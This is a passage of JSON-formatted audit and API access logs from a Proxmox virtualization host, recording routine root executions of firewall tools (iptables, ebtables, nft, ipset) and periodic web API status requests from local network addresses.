ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965584672,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966250950,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966250.950:69085): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635712,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.712:61897): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966070270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966070.270:68307): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65599 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965859559,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965859.559:67413): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64743 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255410,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.410:69099): argc=1 a0=\"date\""} {"@timestamp":1781964544599,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1069"} {"@timestamp":1781964236030,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.030:60171): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57778 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965583667,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781966250944,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966250.944:69082): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635707,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.707:61896): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966065479,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.479:68303): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe7631b2f0 a1=60f58c53f310 a2=60f58c538680 a3=5 items=1 ppid=65592 pid=65593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965859559,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965859.559:67412): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64743 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255406,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.406:69097): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964543388,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964236024,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.024:60170): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57777 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965583667,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781966245936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.936:69079): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635701,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.701:61895): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966065366,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.366:68285): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd64236580 a1=64b50fb53310 a2=64b50fb4c680 a3=5 items=1 ppid=65573 pid=65574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965859551,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965859.551:67410): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255400,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.400:69096): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964540678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1069"} {"@timestamp":1781964236017,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.017:60169): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965581952,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781966245930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.930:69076): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66332 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635697,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.697:61894): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966065262,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.262:68277): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65567 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965859551,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965859.551:67409): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255395,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.395:69095): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964540678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964236011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.011:60168): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965581952,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:20 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781966245344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.344:69073): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6507794e6e60 items=0 ppid=1156 pid=66331 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964635690,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.690:61893): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966065262,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.262:68276): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65567 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965855962,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.962:67405): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd4d1f4e50 a1=584ddc4ed310 a2=584ddc4e6680 a3=5 items=1 ppid=64735 pid=64736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255388,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.388:69094): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964539566,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781964236008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.008:60167): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=56db85c0d740 items=0 ppid=1156 pid=57774 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965580756,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:20 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781966245341,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.341:69072): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66331 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635684,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.684:61892): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966065253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.253:68274): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965855855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.855:67387): arch=c000003e syscall=59 success=no exit=-2 a0=7ffefcaf6770 a1=5d77d6bf8310 a2=5d77d6bf1680 a3=5 items=1 ppid=64716 pid=64717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255383,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.383:69093): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964536635,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1069"} {"@timestamp":1781964236005,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.005:60166): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e2bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57774 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965580756,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781966245337,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.337:69071): arch=c000003e syscall=59 success=yes exit=0 a0=59c769672d30 a1=59c76967ebc0 a2=59c76964c680 a3=5 items=2 ppid=66324 pid=66330 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635681,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.681:61891): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966065253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.253:68273): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965854544,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965854.544:67379): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64710 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255378,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.378:69092): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964535640,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781964236001,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964236.001:60165): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc130570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965580756,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781966245333,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.333:69070): arch=c000003e syscall=59 success=yes exit=0 a0=59c75af16ac8 a1=7ffd604d3400 a2=59c76964c680 a3=59c75aefa24e items=2 ppid=66324 pid=66326 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635678,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.678:61890): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966060243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966060.243:68269): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965854544,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965854.544:67378): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64710 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255371,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.371:69091): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964534639,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964235996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.996:60164): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b810 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965580756,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966245333,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.333:69069): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd604d33c0 a1=59c76966e3d0 a2=59c76964c680 a3=5 items=2 ppid=66324 pid=66325 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635676,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.676:61889): argc=1 a0=\"date\""} {"@timestamp":1781966060243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966060.243:68268): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965854535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965854.535:67376): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64709 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255365,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.365:69090): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964532646,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964235990,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.990:60163): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12fe20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57771 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965579724,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781966245329,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.329:69067): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66324 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635672,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.672:61887): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966060232,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966060.232:68266): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965854535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965854.535:67375): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64709 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255360,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.360:69089): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964531600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964235984,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.984:60162): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b810 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57770 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965578329,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781966245323,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966245.323:69066): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cb370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66323 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964635665,"@rawstring":"node=pve type=EXECVE msg=audit(1781964635.665:61886): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966060232,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966060.232:68265): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965849526,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965849.526:67370): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255355,"@rawstring":"node=pve type=EXECVE msg=audit(1781966255.355:69088): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964528596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:08:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964235980,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964235.980:60161): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4fb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57769 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} 